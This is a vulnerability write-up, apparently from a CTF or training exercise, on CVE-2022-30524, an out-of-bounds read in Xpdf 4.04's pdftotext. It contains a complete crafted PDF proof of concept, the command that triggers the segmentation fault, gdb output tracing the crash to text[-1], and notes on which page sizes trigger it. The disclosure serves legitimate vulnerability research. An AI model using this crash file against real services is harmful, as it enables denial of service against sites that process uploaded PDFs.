

3.CVE-2022-30524

Overview:-

There is an invalid memory access in the TextLine class in TextOutputDev.cc in Xpdf 4.0.4 because the text extractor mishandles characters at large y coordinates. It can be triggered by sending a crafted pdf file to the pdftotext binary, which allows a remote attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

Environment:-

- Ubuntu 20.04.2+ ,x86_64
- gcc version 9.30+
- xpdf version 4.04

Vulnerability:-

Assuming the binary is running the backend of web application, an attacker can upload a crafted pdf causing the binary to crash resulting in Denial of Service. This can cause the website to become unavailable to legitimate users.

Proof of Concept:-

1. Download and install the xpdf version 4.04

<https://dl.xpdfreader.com/xpdf-4.04.tar.gz>

2. Craft a pdf with a large height.

Eg- Save the test given below in a file with extension .pdf

Here, page width is 39 and page height is 100000060.

The font is 69 and the contents of the page is "lol".

```
%PDF-1.3

1 0 obj
<<
/Pages 4 0 R
>>
endobj

4 0 obj
<<
/MediaBox [0 0 39 100000060]
/Contents 7 0 R
>>
endobj

7 0 obj
<< /Length 666 >>
stream
/OMG 69 Tf
( lol ) Tj
endstream
endobj

trailer
<<
/Root 1 0 R
>>

%%EOF
```

Saving the above file as crashsample.pdf

3. Supply the pdf as an argument to the pdftotext binary.

```
./pdftotext crashsample.pdf
```

4. This gives a segmentation fault causing the binary to crash.

```
crashsample$ ./pdftotext crashsample.pdf
Syntax Error: Couldn't read xref table
Syntax Warning: PDF file is damaged - attempting to reconstruct xref table...
Syntax Error: Unknown font tag 'OMG'
Segmentation fault (core dumped)
```

5. Using gdb to analyze it

```
Starting program: /media/sf_CTF_Files/Inter-IIT/Xpdf 4.04/pdftotext crashsample.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Syntax Error: Couldn't read xref table
Syntax Warning: PDF file is damaged - attempting to reconstruct xref table...
Syntax Error: Unknown font tag 'OMG'

Program received signal SIGSEGV, Segmentation fault.
0x000055555555e3eb in TextLine::TextLine (this=0x5555557cd8c0, wordsA=0x5555557cd230, xMinA=0, yMinA=0, xMaxA=0, yMaxA=0, fontSizeA=0) at
TextOutputDev.cc:988
988      hyphenated = text[len - 1] == (Unicode)'\-';
```

```
(gdb) print len
$1 = 0
(gdb)
```

6. As len is 0, the binary tries to access text[-1] causing the binary to result in a crash.

Observation:-

For the given pdf, the binary crashes if the width is greater than 39 and height is greater than 100000052. And if the font is less than 69. Also if the contents are changed, for example if “lol” is changed to “Qol” the binary doesn’t crash.